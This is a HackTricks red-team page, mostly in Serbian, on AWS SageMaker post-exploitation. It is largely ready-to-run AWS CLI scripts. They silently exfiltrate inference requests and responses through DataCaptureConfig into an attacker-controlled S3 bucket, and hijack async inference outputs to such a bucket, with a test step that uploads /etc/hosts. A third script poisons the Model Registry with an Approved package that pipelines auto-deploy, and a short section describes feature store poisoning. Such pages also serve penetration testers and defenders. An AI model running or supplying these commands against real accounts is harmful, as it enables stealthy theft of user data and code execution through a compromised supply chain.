AWS - SageMaker Post-Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SageMaker endpoint - izvlačenje podataka putem UpdateEndpoint DataCaptureConfig

Iskoristite SageMaker endpoint management da omogućite potpuno snimanje zahteva/odgovora u attacker‑kontrolisani S3 bucket bez diranja modela ili containera. Koristi zero/low‑downtime rolling update i zahteva samo dozvole za upravljanje endpointima.

Zahtevi

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (ili koristite postojeći bucket u istom nalogu)
  • Opcionalno (ako se koristi SSE‑KMS): kms:Encrypt na izabranom CMK
  • Cilj: Postojeći InService real‑time endpoint u istom nalogu/regiji

Koraci

  1. Identifikujte InService endpoint i prikupite trenutne produkcijske varijante
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
  1. Pripremite S3 odredište napadača za snimke
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. Kreirajte novu EndpointConfig koja zadržava iste variants, ali omogućava DataCapture u attacker bucket

Napomena: Koristite eksplicitne content types koje zadovoljavaju CLI validation.

NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. Primeni novu konfiguraciju koristeći rolling update (minimalno/bez zastoja)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Generišite barem jedan poziv za inferencu (opciono ako postoji uživi saobraćaj)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. Potvrdite captures u attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

Impact

  • Potpuna eksfiltracija payload‑ova zahteva i odgovora za real‑time inference (i metadata) sa ciljanog endpointa u attacker‑controlled S3 bucket.
  • Bez izmena model/container image i uz izmene samo na nivou endpointa, što omogućava diskretan put krađe podataka uz minimalan operativni prekid.

SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Iskoristiti upravljanje endpoint‑om da se preusmere asinhroni izlazi inference‑a u attacker‑controlled S3 bucket kloniranjem trenutnog EndpointConfig‑a i podešavanjem AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Ovo eksfiltrira predikcije modela (i sve transformisane ulaze koje container uključuje) bez menjanja model/container‑a.

Requirements

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: Mogućnost pisanja u attacker S3 bucket (preko model execution role ili permissive bucket policy)
  • Target: An InService endpoint where asynchronous invocations are (or will be) used

Steps

  1. Sakupite trenutne ProductionVariants sa ciljanog endpointa
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. Kreirajte attacker bucket (osigurajte da uloga za izvršavanje modela može da izvrši PutObject u njega)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Kloniraj EndpointConfig i hijack AsyncInference outputs u attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Pokrenite async invocation i proverite da li objekti dospeju u attacker S3
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

Uticaj

  • Preusmerava asinhrone rezultate inferencije (i telo grešaka) na S3 pod kontrolom napadača, omogućavajući prikrivenu eksfiltraciju predikcija i potencijalno osetljivih ulaza pre/posle obrade koje proizvodi kontejner, bez menjanja koda modela ili image-a i uz minimalan/nikakav downtime.

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

Ako napadač može da pozove CreateModelPackage na ciljani SageMaker Model Package Group, može da registruje novu verziju modela koja pokazuje na container image pod kontrolom napadača i odmah je označi kao Approved. Mnogi CI/CD pipeline-ovi automatski deploy-uju Approved verzije modela na endpoints ili training jobs, što dovodi do izvršavanja koda napadača pod izvršnim ulogama servisa. Izloženost između naloga može biti pojačana permisivnom ModelPackageGroup resource policy.

Zahtevi

  • IAM (najmanje potrebno da kompromituje postojeću grupu): sagemaker:CreateModelPackage on the target ModelPackageGroup
  • Opcionalno (da se kreira grupa ako ne postoji): sagemaker:CreateModelPackageGroup
  • S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
  • Cilj: A Model Package Group koju nizvodna automatizacija prati za Approved verzije

Koraci

  1. Podesite region i kreirajte/pronađite ciljnu Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. Pripremite probne podatke modela u S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. Registrujte zlonamerni (ovde bezopasan) Approved model package version који referencira javni AWS DLC image
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. Proverite da li nova Approved verzija postoji
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

Uticaj

  • Zatrovati Model Registry Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koji automatski deploy-ju Approved modele mogu povući i pokrenuti napadačev image, što omogućava izvršavanje koda u kontekstu endpoint/training roles.
  • Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba može biti pokrenuta cross-account.

Feature store poisoning

Abuse sagemaker:PutRecord on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with sagemaker:GetRecord, an attacker can read sensitive features. This does not require access to models or endpoints.

{{#ref}} feature-store-poisoning.md {{/ref}}

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks